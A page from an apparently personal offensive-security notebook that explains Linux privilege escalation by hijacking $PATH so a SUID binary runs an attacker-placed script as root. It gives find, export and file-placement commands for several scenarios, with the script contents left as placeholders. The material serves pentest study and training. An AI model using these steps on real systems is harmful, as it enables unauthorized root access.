🖥️
Offensive security concepts
  • Introduction
  • 💿Virtualbox network setup
    • What is VirtualBox?
    • NAT
    • NAT network
    • Bridged adapter
    • Internal network
    • pfSense
    • vboxmanage
    • Overview
  • 🕵️OSINT
    • What is OSINT?
    • Google dorks
    • Metadata
    • Social media
      • osintagram
  • Tools
    • waybackurls
    • recon-ng
    • sherlock
    • maltego
    • theHarvester
    • photon
  • 😨Social Engineering
    • What is social engineering?
    • 7 tricks of social engineering
    • Email phishing
    • Typosquatting
    • Compiled resources
  • 😈MitM attack
    • What is MitM attack?
    • ARP spoof/poison
    • DNS spoof/poison
    • HTTP MitM attack
    • ICMP redirect attack
    • DHCP spoofing
    • Evil twin attack
    • Experiment (guest network)
    • Compiled resources
  • 🔌UPnP exploitation
    • What is UPnP?
    • What is SSDP?
    • IGD functions
    • LAN devices
    • Compiled resources
  • Network Reconnaissance & Attacks
    • What is network recon & attacks?
  • 1️⃣Network live host discovery
    • What is network live host discovery?
    • nmap
    • arp-scan
    • masscan
  • 2️⃣Network port scan/services enumeration
    • What is network port scan/services enumeration?
    • nmap
    • netcat
  • 3️⃣Network services vulnerability scanning & exploitation
    • What is network vulnerability scanning/exploitation?
    • 20/21 ~ FTP
    • 22 ~ SSH
    • 25 ~ SMTP
    • 53 ~ DNS
    • 80/443 ~ HTTP/HTTPS
    • 110 ~ POP3
    • 111/2049 ~ RPC/NFS
    • 139/445 ~ SMB
    • 143 ~ IMAP
    • 3389 ~ RDP
  • Vulnerability & exploitation
    • Database
    • Metasploit
    • Msfvenom
  • Misconfigurations
    • .DS_Store
  • Web Application Penetration Testing
    • Introduction
    • Web Content Discovery
      • Directories/URLs gathering
      • Subdomain enumeration
    • File inclusion & Path traversal
    • Insecure Direct Object Reference (IDOR)
    • Upload vulnerabilities
      • File extension cheat-sheet
    • SSRF
    • CSRF
    • XSS
    • SSTI
    • SQL injection
      • Filter evasion techniques
      • Practical challenge examples
        • TryHackMe
          • TryHackMe Burp suite: Repeater room
          • TryHackMe Advanced SQL Injection
  • Authentication/session management
    • OWASP WSTG-SESS-10 ~ JSON Web Token (JWT)
    • OWASP WSTG-ATHZ-05 ~ OAuth weaknesses
  • Webshell
  • Web API pentesting
    • Resources
    • Methodology
    • jq
    • httpx
    • ParamSpider
  • Web app pentesting methodology
  • OWASP
    • OWASP top 10
    • OWASP API top 10
    • Web Security Testing Guide (WSTG)
      • WSTG-ATHZ
        • WSTG-ATHZ-05 ~ OAuth weaknesses
      • WSTG-SESS
        • WSTG-SESS-10 ~ JWT
  • General web knowledge
    • URI standard (RFC 3986)
    • HTTP headers
  • 🛣️Attacks on routing protocols
    • What are attacks on routing protocols?
    • BGP hijacking
  • 🏕️To explore
    • MQTT
    • Routersploit
    • DNS rebinding attack
    • LLMNR/mDNS poisoning
  • 👤Anonymity
    • VPN
    • Proxychains
    • TOR
    • Obfuscation
  • Credentials brute-force/cracking
    • Introduction
    • Windows SAM database
    • Dictionary attack
    • Rainbow attack
      • Hash database
    • Tools
      • Hydra
      • John the ripper
      • Hashcat
      • hash-identifier
  • Post-exploitation
    • Gaining shell
      • netcat
      • socat
      • powershell
      • bash
      • PHP
    • Repository
  • Privilege escalation
    • Linux
      • Repositories
      • Enumeration
      • Vulnerabilities exploit
        • General
        • Kernel exploit
        • Sudo
        • SUID
        • Capabilities
        • Cronjobs
        • $PATH
        • NFS (target-machine)
        • Filesystem sharing
          • NFS (attacker-machine)
    • Windows
      • Password harvesting
      • Vulnerabilities exploit
        • Scheduled tasks
        • AlwaysInstallElevated
        • Service misconfigurations
          • Insecure permissions on service executable
          • Unquoted service path
          • Insecure service permission
        • Abusing privileges
  • Ⓜ️MITRE ATT&CK
    • Introduction
  • 🧰Tools/services
    • Introduction
    • Web application pentesting
      • Web discovery/fuzzing
        • paramspider
        • arjun
        • katana
      • uro
      • Password brute-forcing
      • Burp Suite (Community)
      • scanners
        • ZAP (Zed Attack Proxy)
        • nikto
        • nuclei
    • Information gathering/reconnaissance
    • Network recon & attacks
      • nmap (general overview)
      • scapy
      • bettercap
    • General
      • impacket
    • Wordlists
      • cewl
  • Professional report writing
    • Report template
      • Web applicaton pentesting
        • OWASP report layout
  • Tasks on-the-go
    • Note taking on-the-go
    • Other tips
  • Practice
    • Web Application Pentesting
      • OWASP
        • OWASP Juice Shop
        • OWASP Mutillidae II
        • OWASP Hackademic
      • Vulnhub
        • ...
      • Damn Vulnerable Web Application (DVWA)
    • Metasploitable 2
  • Operational Security (OpSec)
    • Hardening
      • General
      • Oracle VirtualBox
      • Web Browser
      • VPN/Proxy
  • Safe document viewer
    • PDF
    • .docx
  • Write-ups
    • TryHackMe
      • Silver Platter
      • Light
      • Pickle Rick
      • Hammer
        • Enumeration (active recon)
          • /hmr
          • Further directory discovery
          • /phpmyadmin
          • burp suite sitemap
        • Brute forcing 4-digit code
        • Retrieving the flag
      • OWASP Top 10 - 2021 (task 22)
      • sqlmap
    • OverTheWire
      • Untitled
    • OWASP
      • OWASP Juice Shop
      • OWASP WebGoat
  • AI prompt
    • ChatGPT
Powered by GitBook
On this page
  • $PATH environment variable
  • Possible exploitable scenarios
  1. Privilege escalation
  2. Linux
  3. Vulnerabilities exploit

$PATH

$PATH environment variable

$ echo $ PATH
...

Possible exploitable scenarios

  1. A script with SUID bit (/usr/bin/bin-with-suid) is found to execute a particular named script that is not defined

Assume the named script that is executed is test-bin

$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/bin-with-suid

$ /usr/bin/bin-with-suid
# error message indicating that test-bin is executed, but not found
sh: 1: test-bin: not found 

a)$PATH environment variable can be edited ONLY

b) Write permissions for a default value found in the $PATHenvironment variable ONLY

Scenario a)

$ echo $PATH
/usr/local/sbin:/usr/local/bin ...

$ export PATH=/tmp:$PATH 

$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin ...

$ cd /tmp
$ nano test-bin
#!/...
...

$ /usr/bin/bin-with-suid
... executes /tmp/test-bin with ROOT privileges

Scenario b)

$ echo $PATH
/usr/local/sbin:/usr/local/bin ...

$ find / -writable 2>/dev/null
...
/usr/local/bin
...

$ cd /usr/local/bin
$ nano test-bin
#!/...
...

$ /usr/bin/bin-with-suid
... executes /usr/local/bin/test-bin with ROOT privileges

  1. A script with SUID bit (/usr/bin/bin-with-suid) is found to execute a named script that is defined

Assume the named script that is executed is test-bin (present in /usr/local/bin/)

a)$PATH environment variable can be edited ONLY

b) Write permissions for a path value in the$PATHenvironment variable ONLY

Scenario a)

Prepend a writable directory such as /tmp to the $PATH environment variable, and create a script with the name of that executed from the original script, in the same directory. This allows the created script to be executed with root privileges.

$ export PATH=/tmp:$PATH 

$ cd /tmp
$ nano test-bin
#!/...
...

$ /usr/bin/bin-with-suid
... executes /tmp/test-bin with ROOT privileges

Scenario b)

There are 2 further possible scenarios

  1. The path value we have write permissions for appears before the path where the named script is found. This allows us to trick the SUID bit script to execute the script defined by us instead. This is because the system searches for script using the path variable listed from left to right in the $PATHenvironment variable

Assume that we have write permissions for the folder/usr/local/sbin, and this path appears to the left of the value /usr/local/bin(path for the original script) in$PATH

$ echo $PATH
/usr/local/sbin:/usr/local/bin ...

$ cd /usr/local/sbin

$ find / -name test-bin 2>/dev/null
/usr/local/bin/test-bin

$ nano test-bin
#!...
...

$ /usr/bin/bin-with-suid
# notice that the path is /usr/local/sbin, and NOT /usr/local/bin
... executes /usr/local/sbin/test-bin with ROOT privileges
  1. We have write permissions for the actual path of the named script

$ ls -l /usr/local | grep bin
drwxrwxrwx 2 root   root   xxxx xxx  x ... bin
...

$ cd /usr/local/bin

$ rm test-bin

$ nano test-bin
#!...
...

$ /usr/bin/bin-with-suid
... executes /usr/local/bin/test-bin defined by yourself - with ROOT privileges

PreviousCronjobsNextNFS (target-machine)

Last updated 5 months ago